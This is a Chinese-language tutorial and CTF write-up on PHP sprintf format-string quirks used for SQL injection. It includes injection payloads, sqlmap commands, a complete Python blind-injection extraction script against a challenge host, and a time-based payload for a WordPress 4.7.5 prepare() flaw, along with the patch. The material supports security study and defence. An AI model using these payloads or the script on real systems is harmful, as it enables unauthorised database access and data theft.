- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- sprintf中怎么格式化字符串漏洞
本篇文章為大家展示了sprintf中怎么格式化字符串漏洞,內容簡(jiǎn)明扼要并且容易理解,絕對能使你眼前一亮,通過(guò)這篇文章的詳細介紹希望你能有所收獲。
sprintf() 函數把格式化的字符串寫(xiě)入變量中。
sprintf(format,arg1,arg2,arg++) arg1、arg2、++ 參數將被插入到主字符串中的百分號(%)符號處。該函數是逐步執行的。在第一個(gè) % 符號處,插入 arg1,在第二個(gè) % 符號處,插入 arg2,依此類(lèi)推。 注釋?zhuān)喝绻?% 符號多于 arg 參數,則您必須使用占位符。占位符位于 % 符號之后,由數字和 "\$" 組成。
<?php $number = 123; $txt = sprintf("帶有兩位小數:%1\$.2f<br>不帶小數:%1\$u",$number); echo $txt; ?> 輸出結果: 帶有兩位小數:123.00 不帶小數:123
例子2:
<?php $num1 = 123456789; $num2 = -123456789; $char = 50; // ASCII 字符 50 是 2 //注釋?zhuān)焊袷街?"%%" 返回百分號 echo sprintf("%%b = %b",$num1)."<br>"; // 二進(jìn)制數 echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符 echo sprintf("%%s = %s",$num1)."<br>"; // 字符串 echo sprintf("%%x = %x",$num1)."<br>"; // 十六進(jìn)制數(小寫(xiě)) echo sprintf("%%X = %X",$num1)."<br>"; // 十六進(jìn)制數(大寫(xiě)) ?> 輸出結果: %b = 111010110111100110100010101 %c = 2 //注意var_dump('2')為string %s = 123456789 %x = 75bcd15 %X = 75BCD15
我們來(lái)看一下sprintf()的底層實(shí)現方法
switch (format[inpos]) { case 's': { zend_string *t; zend_string *str = zval_get_tmp_string(tmp, &t); php_sprintf_appendstring(&result, &outpos,ZSTR_VAL(str),width, precision, padding,alignment,ZSTR_LEN(str),0, expprec, 0); zend_tmp_string_release(t); break; } case 'd': php_sprintf_appendint(&result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign); break; case 'u': php_sprintf_appenduint(&result, &outpos, zval_get_long(tmp), width, padding, alignment); break; case 'g': case 'G': case 'e': case 'E': case 'f': case 'F': php_sprintf_appenddouble(&result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign ); break; case 'c': php_sprintf_appendchar(&result, &outpos, (char) zval_get_long(tmp)); break; case 'o': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec); break; case 'x': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec); break; case 'X': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec); break; case 'b': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec); break; case '%': php_sprintf_appendchar(&result, &outpos, '%'); break; default: break; }
可以看到, php源碼中只對15種類(lèi)型做了匹配, 其他字符類(lèi)型都直接break了,php未做任何處理,直接跳過(guò),所以導致了這個(gè)問(wèn)題: 沒(méi)做字符類(lèi)型檢測的最大危害就是它可以吃掉一個(gè)轉義符\, 如果%后面出現一個(gè)\,那么php會(huì )把\當作一個(gè)格式化字符的類(lèi)型而吃掉\, 最后%\(或%1$\)被替換為空 因此sprintf注入,或者說(shuō)php格式化字符串注入的原理為: 要明白%后的一個(gè)字符(除了%,%上面表格已經(jīng)給出了)都會(huì )被當作字符型類(lèi)型而被吃掉,也就是被當作一個(gè)類(lèi)型進(jìn)行匹配后面的變量,比如%c匹配asciii碼,%d匹配整數,如果不在定義的也會(huì )匹配,匹配空,比如%\,這樣我們的目的只有一個(gè),使得單引號逃逸,也就是能夠起到閉合的作用。
不使用占位符號
<?php $sql = "select * from user where username = '%\' and 1=1#';" ; $args = "admin" ; echo sprintf ( $sql , $args ) ; //=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin"); //此時(shí)%\回去匹配admin字符串,但是%\只會(huì )匹配空 運行后的結果 select * from user where username = '' and 1=1#'
使用占位符號
<?php $input = addslashes ("%1$' and 1=1#" ); $b = sprintf ("AND b='%s'", $input ); $sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' ); //對$input與$b進(jìn)行了拼接 //$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' ); //很明顯,這個(gè)句子里面的\是由addsashes為了轉義單引號而加上的,使用%s與%1$\類(lèi)匹配admin,那么admin只會(huì )出現在%s里,%1$\為空 echo $sql ; 運行后的結果 SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
對于這個(gè)問(wèn)題,我們還可以這樣寫(xiě)
$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin'); //result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
第一個(gè)格式化處匹配時(shí)為空,會(huì )讓給后面的格式化匹配 以上兩個(gè)例子是吃掉'\'來(lái)使得單引號逃逸出來(lái) 下面這個(gè)例子我們構造單引號
對%c進(jìn)行利用
<? php $input1 = '%1$c) OR 1 = 1 /*' ; $input2 = 39 ; $sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ; $sql = sprintf ( $sql , $input2 ); echo $sql ;
%c起到了類(lèi)似chr()的效果,將數字39轉化為‘,從而導致了sql注入。 所以結果為:
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39
漏洞利用條件 1. sql語(yǔ)句進(jìn)行了字符拼接 2. 拼接語(yǔ)句和原sql語(yǔ)句都用了vsprintf/sprintf 函數來(lái)格式化字符串
ps: > SELECT ascii('\''); +-------------+ | ascii('\'') | +-------------+ | 39 | +-------------+
形式很像SQL注入,而且題目中提示為SQLI 先試了一下弱口令,確定username為admin 那么就對username與password進(jìn)行注入,開(kāi)始普通注入,二次解碼,寬字節,過(guò)濾空格,過(guò)濾關(guān)鍵字等姿勢進(jìn)行構造注入語(yǔ)句都無(wú)果,而且還耗費大量的時(shí)間,不過(guò)后來(lái)get到一種姿勢,使用burpsuit的intruder跑一下,來(lái)查看那些字母或者字符沒(méi)有被過(guò)濾掉(waf字典) 后來(lái)發(fā)現%可疑,于是拿出來(lái)repeater一下
sprintf函數出錯,那么sprintf是什么,格式化字符串,于是乎就懂得其中的原理了,是其單引號逃逸 構造username=admin%1$\' and 1=2# 與 username=admin%1$\' and 1=1# 發(fā)現如下的結果
可以發(fā)現'后面的語(yǔ)句帶入執行了,這就是注入點(diǎn),使用sqlmap跑一下 事先抓取post包
python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10
于是對ctf進(jìn)行跑tables 得到
對flag跑columns 得到
對每個(gè)列進(jìn)行dump但是dump下來(lái)不對,找了一波原因沒(méi)有找到,開(kāi)始用腳本跑 跑完后才發(fā)現sqlmap跑出來(lái)的列不對,應該是flag,于是
python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10
才得到正確結果 :) 下面是腳本跑的
做實(shí)驗
利用sqlmap進(jìn)行POST注入
http://hetianlab.com/expc.do?ce=1336a6fb-7b18-4dd6-8a6d-b9a7ae92f73d
(了解sqlmap,掌握sqlmap的常用命令,學(xué)會(huì )使用sqlmap進(jìn)行POST注入攻擊)
先判斷length 然后使用ascii判斷字母 ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" 使用這個(gè)語(yǔ)句進(jìn)行判斷 涉及到的一些知識點(diǎn):
#coding:utf-8 import requests import string def boom(): url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/' s = requests.session() //會(huì )話(huà)對象requests.Session能夠跨請求地保持某些參數,比如cookies,即在同一個(gè)Session實(shí)例發(fā)出的所有請求都保持同一個(gè)cookies,而requests模塊每次會(huì )自動(dòng)處理cookies,這樣就很方便地處理登錄時(shí)的cookies問(wèn)題。 dic = string.digits + string.letters + "!@#$%^&*()_+{}-=" right = 'password error!' error = 'username error!' lens = 0 i = 0 //確定當前數據庫的長(cháng)度 while True: payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#" data={'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens=i break i+=1 pass print("[+]length(database()): %d" %(lens)) //確定當前數據庫的名字 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]database():%s" %(strs)) lens=0 i = 1 while True: payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#" //對當前的數據庫,查詢(xún)第一個(gè)表的長(cháng)度 data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(table): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#" // 數字一定要str才可以傳入 data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]table_name:%s" %(strs)) tablename = '0x' + strs.encode('hex') //編碼為16進(jìn)制 table_name = strs lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(column): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]column_name:%s" %(strs)) column_name = strs num=0 i = 0 while True: payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: num = i break i+=1 pass print("[+]number(column): %d" %(num)) lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(value): %d" %(lens)) i=1 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':'1'} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]flag:%s" %(strs)) if __name__ == '__main__': boom() print 'Finish!'
<?php $input = addslashes("%1$' and 1=1#"); echo $input; echo "\n"; $b = sprintf("AND b='%s'",$input); echo $b; echo "\n"; $sql = sprintf("select * from t where a='%s' $b",'admin'); echo $sql; >>>結果 %1$\' and 1=1# AND b='%1$\' and 1=1#' select * from t where a='admin' AND b='' and 1=1#'
格式字符%后面會(huì )吃掉一個(gè)\即%1$\被替換為空,逃逸出來(lái)一個(gè)單引號,造成注入.
wordpress版本小于4.7.5在后臺圖片刪除的地方存在一處格式化字符串漏洞 官方在4.7.6已經(jīng)給出了補救辦法 在我們即將要說(shuō)的地方增加了這么一端代碼
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
只允許 %后面出現dsF 這三種字符類(lèi)型, 其他字符類(lèi)型都替換為%%\1, 而且還禁止了%, $ 這種參數定位 首先 我們找到upload.php 可以發(fā)現在deleta中 $post_id_del(比如int()) 未經(jīng)過(guò)處理,直接傳入
case 'delete': if ( !isset( $post_ids ) ) break; foreach ( (array) $post_ids as $post_id_del ) { if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟進(jìn) wp_die( __( 'Sorry, you are not allowed to delete this item.' ) ); if ( !wp_delete_attachment( $post_id_del ) ) wp_die( __( 'Error in deleting.' ) ); } $location = add_query_arg( 'deleted', count( $post_ids ), $location ); break;
跟進(jìn)wp_delete_attachment( )函數 其中參數$post_id_del為圖片的postid wp_delete_attachment( )中 調用了delete_metadata 函數
function wp_delete_attachment( $post_id, $force_delete = false ) { ....... delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts. ...... }
繼續跟進(jìn)delete_metadata函數 漏洞觸發(fā)點(diǎn)主要在wp-includes/meta.php 的 delete_metadata函數里面, 有如下代碼:
if ( $delete_all ) { $value_clause = ''; if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) { $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value ); } $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) ); }
調用了兩個(gè)prepare函數 跟進(jìn)prepare函數
public function prepare( $query, $args ) { if ( is_null( $query ) ) return; // This is not meant to be foolproof -- but it will catch obviously incorrect usage. if ( strpos( $query, '%' ) === false ) { _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' ); } $args = func_get_args(); array_shift( $args ); // If args were passed as an array (as in vsprintf), move them up if ( isset( $args[0] ) && is_array($args[0]) ) $args = $args[0]; $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s array_walk( $args, array( $this, 'escape_by_ref' ) ); return @vsprintf( $query, $args ); }
詳細看prepare函數對傳入參數的處理過(guò)程 首先對%s進(jìn)行處理
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
把'%s'替換為%s,然后再把"%s"替換成%s,替換為浮點(diǎn)數%F 把%s替換成'%s' 最后再進(jìn)行vsprintf( $query, $args ); 對拼接的語(yǔ)句進(jìn)行格式化處理 我們一步步分析 假設傳入的$meta_value為'admin'
$wpdb->prepare( " AND meta_value = %s", $meta_value );
經(jīng)過(guò)prepare函數處理后得到
vsprintf( " AND meta_value = '%s'",'admin') => AND meta_value = 'admin'
return到上一級函數后,繼續執行這一條拼接語(yǔ)句:
$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )
經(jīng)過(guò)prepare函數處理后得到
vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin') => SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'
看起來(lái)一切都很正常,毫無(wú)bug 但是我們可以思考一下,怎樣使其形成注入呢?s> 或者說(shuō)怎樣逃逸一個(gè)單引號? 在之前我們先看一下,可控變量 $post_id_del 的路線(xiàn)
$post_id_del => $post_id => $meta_value => $args => $query
顯然這里面兩處admin都有單引號,而且兩處都與 $post_id_del 聯(lián)系,如何來(lái)選擇? 對于第一處單引號 它是通過(guò)一次替換處理得到的,顯然是對單引號>無(wú)法處理 對于第二處單引號 經(jīng)過(guò)兩次的替換,(這里的意思是執行了兩次的替換代碼,可能第二段代碼對他沒(méi)有起到實(shí)質(zhì)性的作用,僅僅是去點(diǎn)單引號然后又加上單引號) 但是這一出經(jīng)過(guò)了兩次處理是必須的,那么我們是否能夠是構造出另一個(gè)單引號(此時(shí)第二處有三個(gè)單引號)就可以閉合前面的單引號了 最重要的是,第二次的替換處理的變量是可控的,因此要引入單引號,我們需要$meta_value含有%s 那么第一次的結果為
AND meta_value = 'X%sY'(其中XY為未知量) //這里需要注意,為什么%s不被單引號圍起來(lái),我看過(guò)一篇博客,它是寫(xiě)的'%s',這顯然是錯的,為什么呢?我們生成了'%s'是沒(méi)錯,不過(guò)還原一下過(guò)程就知道了,首先我們生成了AND meta_value = '%s',注意此時(shí)與$meta_value沒(méi)有半毛錢(qián)關(guān)系,后來(lái)的vsprintf后,才與$meta_value有了關(guān)系,原來(lái)的%s被替換成了X%sY,值得注意的是這里的%s沒(méi)有經(jīng)過(guò)任何處理,處理是在第二輪進(jìn)行的,這是后話(huà)。
第二次后的結果為
SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y' (對于第二處的%s我們先不要帶入格式化后的值,其實(shí)真實(shí)的語(yǔ)句應該為: SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y')
分析到這里,相信大家應該知道傳值($meta_value)使單引號逃逸出來(lái)了吧 admin顯然是多余的,那么我們需要把它放在單引號里面,因此第二個(gè)單引號需要去掉,那么第四個(gè)單引號需要注釋掉,這就很輕而易舉地構造sql語(yǔ)句 AND meta_value = 'Xadmin'Y Y里面就是我們注入的代碼
怎么去傳值呢? 利用格式化字符串漏洞 去掉第二個(gè)單引號就需要使該單引號成為%后的第一個(gè)字符,也就是%',但是我們還需要一個(gè)占位符,%1$' 這樣就沒(méi)有報錯的去掉了該單引號 所以我們構造的payload為
$meta_value = %1$%s AND SLEEP(5)# => AND meta_value = '%1$%s AND SLEEP(5)' => "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin' 其中 %1$' => 空 => SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#' 成功利用該漏洞形成時(shí)間注入
現在我們說(shuō)一下第四部分開(kāi)頭的補救方法 后來(lái)官方在prepare函數加了這一代碼
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
只允許 %后面出現dsF 這三種字符類(lèi)型, 其他字符類(lèi)型都替換為%%\1, 而且還禁止了%, $ 這種參數定位
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站